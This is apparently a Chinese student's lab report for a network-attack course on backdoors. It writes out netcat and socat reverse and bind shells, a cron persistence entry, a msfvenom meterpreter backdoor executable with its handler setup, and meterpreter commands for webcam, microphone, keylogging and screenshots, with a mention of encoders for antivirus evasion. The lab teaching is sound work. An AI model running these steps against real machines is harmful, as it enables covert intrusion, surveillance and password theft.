2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践
1. 实践基础
1.1 什么是后门?
后门就是不经过正常认证流程而访问系统的通道
哪里有后门呢?
- 编译器后门
- 操作系统后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中的伪装为特定应用的专用后门程序
狭义后门概念:
- 特指潜伏于操作系统中专门做后门的一个程序
- “坏人”可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
1.2 基础问题回答
例举你能想到的一个后门进入你系统中的可能方式 |
1.随意点击网页链接浏览未知内容的网页
2.打开邮箱中未知邮件,无意进入其链接
3.随意在网上下载未经认证的软件
4.使用游戏外挂
例举你知道的后门如何启动起来(win和Linux)的方式 |
1.windows中启动应用程序时被启动
2.Linux中后台输入命令启动
Meterperter有哪些给你印象深刻的功能? |
可以在一个正常的可执行文件中添加反弹链接的代码,使得它成为一个后门
通过该软件可以调取被入侵主机的摄像头和音频输入设备,实现实时拍照,摄像和录音的功能,还能监听被入侵主机的键盘输入,获取其当前输入的内容,这就让我们想到盗取用户密码等...可怕的事情
如何发现自己有系统有没有被安装后门 |
1.通过杀毒软件的防护和扫描功能
2.不定时检查电脑中当前运行中的各种程序,发现异常进程立即关闭
2. 实践内容
2.1 使用netcat获取主机操作Shell,cron启动,包括
第一步:kali中是自带netcat软件的所以我们不需要下载就可以正常使用。而Windows系统中是没有该程序的,需要先下载才可以进行我们的实验。
可以在老师的码云附件中下载,无需安装解压即可使用。
注:由于控制需要通过网络,所以要首先保证攻击方主机和被攻击者主机网络是可连通的,由于实验是用虚拟机与物理机相互攻击,且两者使用同一网络,所以不存在该问题。
第二步:获取IP地址,Windows系统输入ipconfig
,Linux系统输入ifconfig
在此,我们先获得Windows网址:192.168.0.105
第三步:
输入ncat.exe -l -p <学号作为端口号>
使用ncat.exe程序监听本机的2327端口
第四步:
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4322端口
输入nc <win IP> <端口号> -e /bin/sh
nc 192.168.0.105 2327 -e /bin/sh
成功获得kali的shell,如下图所示
第二步2:
获取Linux网址:192.168.0.109
第三步2:
输入nc -l -p 2327
,在Linux中监听端口
第四步2:
在Windows环境下,使用nc指令的-e选项反向连接Linux主机的4322端口
输入ncat.exe -e cmd.exe <linux IP> <端口号>
ncat.exe -e cmd.exe 192.168.0.109 2327
成功获得Windows的shell,如下图所示
注:
netcat中参数
-l 代表开启监听
-p 指定端口
-e 发送一个指定应用程序
第五步:
cron是Linux下的定时任务,每分钟运行一次根据配置文件执行预设的指令。
具体步骤如下:
-
步骤一:
在Windows下,监听2327端口
-
在kali环境下用
crontab -e
指令编辑一条定时任务(-e表示编辑)
选择编辑器3
-
在最后一行添加
50* * * * /bin/netcat 192.168.0.105 2327 -e /bin/sh
(每小时的第50分钟反向连接Windows主机的2327端口,真的要等到x点50分!但是过了后还是会保留shell)
-
此时,已经到x点50,此时已经获得了Kali的shell,可以输入指令
获得kali的文件目录
2.2 使用socat获取主机操作Shell, 任务计划启动
什么是socat:
-
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N
倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。 -
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
-
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
-
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
第一步:
Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
第二步:
新建触发器:
第三步:在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:2327exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口2327
第四步:启动任务计划
在kali端输入:socat - tcp:192.168.0.105:2327
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
第一步:使用msfvenom,生成20172327_backdoor.exe
文件(在kali端执行)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2327 -f exe > 20172327_backdoor.exe
参数说明:
(1)-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
(2)-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
(3)-e 使用的编码器,用于对shellcode变形,为了免杀。
(4)-i 编码器的迭代次数。如上即使用该编码器编码5次。
(5)-b badchar是payload中需要去除的字符。
(6)LHOST 是反弹回连的IP
(7)LPORT 是回连的端口
(8)-f 生成文件的类型
(9)> 输出到哪个文件
第二步:将exe文件传送到windows端
- 在Windows下执行
ncat.exe -l 2327 > 20172327_backdoor.exe
,使被控主机进入接收文件模式 - 在kali中执行
nc 192.168.0.105 2327 < 20172327_backdoor.exe
,从下图可以看到文件已经传输成功了
第三步:MSF打开监听进程
输入如下操作:
-
msfconsole
后进行如下操作: -
use exploit/multi/handler
,设置payload -
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.0.109
,设置ip -
set LPORT 2327
,设置端口 -
show options
,查看选项
-
exploit
,点击exe文件执行,可以看到已经获取到了Windows的shell,可以输入dir来验证(一定要先点一下20175229_backdoor.exe文件再进行exploit操作)(记得关闭kali和Windows的防火墙)
2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
第一步:音频:输入record_mic
第二步:摄像头:输入webcam_snap
第三步:击键记录:输入keyscan_start
开始记录,输入keyscan_dump
读取击键的记录
第四步:使用screenshot
指令可以进行截屏
3. 实验总结
- 通过本次实验切实的了解了什么是后门,并且通过一系列操作在一定条件下我们也自己实现了后门的制作和渗透入侵,这也让我意识到了网络安全的重要性,然后想了想以前自己在网上随便下载软件和打开网页,真是让我感到细思极恐。实验既有趣又有用,我觉得以后我一定会更注意网络安全防护!!
- 在假期,我有用过msfvenom,那时,我用它生成过apk文件,并将其装在我的旧手机上,作为一个app,当时就实现了,对手机前后摄像头,声音,已经屏幕的监控,和这次的我觉得非常像,但在手机上要手动允许权限,而Windows上却不用,所以我觉得Windows上的这实验更加隐秘,更加不会被人发现。
下面上图: